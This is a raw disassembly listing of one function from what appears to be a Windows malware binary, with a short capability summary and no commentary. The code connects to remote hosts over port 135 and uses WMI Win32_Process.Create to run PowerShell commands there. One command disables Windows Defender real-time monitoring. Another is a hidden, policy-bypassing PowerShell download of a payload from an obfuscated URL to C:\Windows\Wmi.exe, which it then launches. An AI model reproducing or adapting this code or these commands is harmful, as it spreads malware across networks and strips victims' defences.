Function at 0x40561c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x10
call fcn.00407101
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
add ebx, 0xc
push ebx
push 0x10
call fcn.00407101
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x505cb8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
add ebx, 4
push ebx
push 0x108
call fcn.00407101
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x505cc0
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0x18], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
add ebx, 4
push ebx
push 0x108
call fcn.00407101
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x505cc0
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x24], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x2c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x30], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00407101
add esp, 4
mov dword [ebp - 0x34], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0x38], 0
fninit
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x90c
call fcn.00408db0
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x405815
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x28
mov eax, 0x40b390
call fcn.004075c0
add esp, 0x10
mov dword [ebp - 0x3c], esp
push 6
push 1
push 2
xor eax, eax
call dword [sym.imp.WS2_32.dll_socket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405872
push 0xc7
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4058d2
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0xc
mov eax, 0x40b510
call fcn.004075c0
add esp, 0x10
dec dword [0x506000]
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0x10
mov eax, 0x40b530
call fcn.004075c0
add esp, 0x10
jmp 0x406722
mov dword [ebp - 0x3c], esp
push 4
mov eax, 0
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0x1002
push 0xffff
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_setsockopt]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405919
push 0x1a3
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 0x3c], esp
push 4
mov eax, 0
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0x1001
push 0xffff
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_setsockopt]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405960
push 0x1ed
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov word [ebx], 2
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], esp
push 0x87
xor eax, eax
call dword [sym.imp.WS2_32.dll_htons]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4059a5
push 0x294
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov ebx, dword [ebp - 0x3c]
mov word [ebx], ax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.WS2_32.dll_inet_addr]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4059e0
push 0x2d3
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov dword [ebp - 0x3c], esp
mov edx, 0
mov eax, 1
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
lea eax, [ebp - 0x44]
push eax
push 0x8004667e
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405a2a
push 0x343
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x405ab6
mov dword [ebp - 0x3c], esp
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_closesocket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405a63
push 0x376
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0xc
mov eax, 0x40b510
call fcn.004075c0
add esp, 0x10
dec dword [0x506000]
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0x10
mov eax, 0x40b530
call fcn.004075c0
add esp, 0x10
jmp 0x406722
mov dword [ebp - 0x3c], esp
push 0x10
mov eax, dword [ebp - 0xc]
push eax
push 0x10
call fcn.00407101
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 8
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_connect]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405b38
push 0x417
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x40]
push ebx
mov edi, dword [ebp - 0x44]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00407520
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x405b8f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x405b8d
imul eax, dword [edi]
jmp 0x405b82
mov ecx, eax
cmp ecx, 8
jle 0x405b99
mov ecx, 8
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 8
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 3
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x14]
mov ebx, dword [ebx + 4]
call fcn.004010e0
mov eax, 0
cmp eax, ecx
jl 0x405c09
push 0x4d5
push 0x4012f6c
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov dword [ebp - 0x3c], esp
push dword [ebp - 0x10]
mov eax, 0
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x14]
push eax
push 0x104
call fcn.00407101
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x40
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop ebx
add ebx, 4
mov eax, dword [ebp - 0x1c]
push eax
push 0x104
call fcn.00407101
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x40
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop ebx
add ebx, 4
push 0
xor eax, eax
call dword [sym.imp.WS2_32.dll_select]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405ccc
push 0x51e
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov edi, dword [ebp - 0x48]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 4
mov eax, 2
call fcn.00407520
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x405d0d
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x405d0b
imul eax, dword [edi]
jmp 0x405d00
mov ecx, eax
cmp ecx, 0x40
jle 0x405d17
mov ecx, 0x40
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x4c]
push ebx
mov edi, dword [ebp - 0x50]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 4
mov eax, 2
call fcn.00407520
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x405d6e
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x405d6c
imul eax, dword [edi]
jmp 0x405d61
mov ecx, eax
cmp ecx, 0x40
jle 0x405d78
mov ecx, 0x40
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], esp
mov edx, 0
mov eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
lea eax, [ebp - 0x44]
push eax
push 0x8004667e
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405dd8
push 0x559
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
cmp dword [ebp - 0x18], 0
jg 0x405e6d
mov dword [ebp - 0x3c], esp
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_closesocket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405e0e
push 0x5c2
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 8], 0
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0xc
mov eax, 0x40b510
call fcn.004075c0
add esp, 0x10
dec dword [0x506000]
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0x10
mov eax, 0x40b530
call fcn.004075c0
add esp, 0x10
jmp 0x406722
mov dword [ebp - 0x3c], esp
push 2
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_shutdown]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405e9e
push 0x681
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 0x3c], esp
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.WS2_32.dll_closesocket]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x405eca
push 0x6a0
push 0x4012f6c
push 6
call fcn.00407107
add esp, 0xc
mov dword [ebp - 8], 0
call fcn.00406857
mov ebx, dword [0x505ff4]
call fcn.004010c7
xor ecx, ecx
push eax
lea eax, [ebp - 0x20]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4066cc
mov ebx, dword [0x505ff4]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [ebp - 0x20]
dec eax
jns 0x405f22
push 0xee4
push 0x4012f6c
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x405f3f
push 0xee4
push 0x4012f6c
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push str.NULL
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x405fcf
mov ebx, dword [0x505ff4]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [ebp - 0x20]
dec eax
jns 0x405f8c
push 0xf10
push 0x4012f6c
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x405fa9
push 0xf10
push 0x4012f6c
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov eax, 0x4242c6
push eax
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x405fc9
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.WbemScripting.SWbemLocator
push 0x10030
push 0
push dword [ebp - 0x24]
push 3
mov ebx, 0x91c
call fcn.00409760
add esp, 0x28
mov ebx, dword [0x505ff4]
call fcn.004010e0
push ebx
push ecx
mov eax, dword [ebp - 0x20]
dec eax
jns 0x406027
push 0xfa9
push 0x4012f6c
push 4
call fcn.00407107
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x406044
push 0xfa9
push 0x4012f6c
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebx]
test eax, eax
jne 0x406061
mov eax, 0x4242c6
push eax
push 0xa0000004
push 0
push 0x505ff8
push reloc.WS2_32.dll_connect
push 0
push str._rootCIMV2
push 0xa0000004
push 0
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_connect
push 0
push str.ConnectServer
push 0x10030
push 0
push dword [ebp - 0x24]
push 6
mov ebx, 0x964
call fcn.00409b70
add esp, 0x4c
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x28]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x10030
push 0
push dword [ebp - 0x28]
push 1
mov ebx, 0x928
call fcn.00409960
add esp, 0x10
test eax, eax
je 0x406142
push 0x10030
push 0
push dword [ebp - 0x24]
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 1
push 0x1e
call fcn.00404e12
jmp 0x4066c4
push reloc.WS2_32.dll_connect
push 0
push str.Win32_Process
push reloc.WS2_32.dll_connect
push 0
push 0x505b38
push 0x10030
push 0
push dword [ebp - 0x28]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Methods_
push 0x10030
push 0
push dword [ebp - 0x2c]
push 3
mov ebx, 0x940
call fcn.00409970
add esp, 0x28
mov dword [ebp - 0x3c], eax
push reloc.WS2_32.dll_connect
push 0
push str.Create
push reloc.WS2_32.dll_connect
push 0
push str.Item
push 0x10030
push 0
push dword [ebp - 0x3c]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.InParameters
push 0x10030
push 0
push dword [ebp - 0x40]
push 3
mov ebx, 0x940
call fcn.00409970
add esp, 0x28
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SpawnInstance_
push 0x10030
push 0
push dword [ebp - 0x44]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x30]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Properties_
push 0x10030
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x3c], eax
push reloc.WS2_32.dll_connect
push 0
push str.CommandLine
push reloc.WS2_32.dll_connect
push 0
push str.Item
push 0x10030
push 0
push dword [ebp - 0x3c]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.PowerShell_Set_MpPreference__DisableRealtimeMonitoring_1
push reloc.WS2_32.dll_connect
push 0
push str.value
push 0x10030
push 0
push dword [ebp - 0x40]
push 3
mov ebx, 0x948
call fcn.00409ab0
add esp, 0x28
mov ebx, dword [ebp - 0x40]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
push 0x20010030
push 0
lea eax, [ebp - 0x30]
push eax
push reloc.WS2_32.dll_connect
push 0
push str.Create
push reloc.WS2_32.dll_connect
push 0
push str.ExecMethod_
push 0x10030
push 0
push dword [ebp - 0x2c]
push 4
mov ebx, 0x964
call fcn.00409b70
add esp, 0x34
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x34]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 1
push 0x320
call fcn.00404e12
mov eax, 0x505bd0
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov eax, str.786464602A3F3F747F677E3E76646022213E73733F677D793E7A6077B24B112A4
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
call fcn.00406892
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4064a3
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4064b3
push ebx
call fcn.004070fb
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4064c7
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x38], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Properties_
push 0x10030
push 0
push dword [ebp - 0x30]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x3c], eax
push reloc.WS2_32.dll_connect
push 0
push str.CommandLine
push reloc.WS2_32.dll_connect
push 0
push str.Item
push 0x10030
push 0
push dword [ebp - 0x3c]
push 3
mov ebx, 0x964
call fcn.00409b70
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
push str._C:_Windows_Wmi.exe__Start_Process_C:_Windows_Wmi.exe_
push dword [ebp - 0x38]
push str.Powershell__ExecutionPolicy_bypass__windowstyle_hidden__new_object_System.Net.WebClient_.DownloadFile_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x406586
mov eax, 0x4242c6
push eax
push reloc.WS2_32.dll_connect
push 0
push str.value
push 0x10030
push 0
push dword [ebp - 0x40]
push 3
mov ebx, 0x948
call fcn.00409ab0
add esp, 0x28
mov ebx, dword [ebp - 0x40]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4065e2
push ebx
call fcn.004070fb
add esp, 4
push 0x20010030
push 0
lea eax, [ebp - 0x30]
push eax
push reloc.WS2_32.dll_connect
push 0
push str.Create
push reloc.WS2_32.dll_connect
push 0
push str.ExecMethod_
push 0x10030
push 0
push dword [ebp - 0x2c]
push 4
mov ebx, 0x964
call fcn.00409b70
add esp, 0x34
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x34]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push 0x10030
push 0
push dword [ebp - 0x34]
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
push 0x10030
push 0
push dword [ebp - 0x2c]
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
push 0x10030
push 0
push dword [ebp - 0x28]
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
push 0x10030
push 0
push dword [ebp - 0x24]
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
jmp 0x4066cc
pop eax
pop ebx
pop ecx
jmp 0x405eea
add esp, 0xc
call fcn.00406f38
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0xc
mov eax, 0x40b510
call fcn.004075c0
add esp, 0x10
dec dword [0x506000]
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0x10
mov eax, 0x40b530
call fcn.004075c0
add esp, 0x10
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x406732
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004070fb
add esp, 4
pop ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004070fb
add esp, 4
pop ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004070fb
add esp, 4
pop ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x2c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x34]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.00409940
add esp, 0x10
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x406851
push ebx
call fcn.004070fb
add esp, 4
mov esp, ebp
pop ebp
ret 4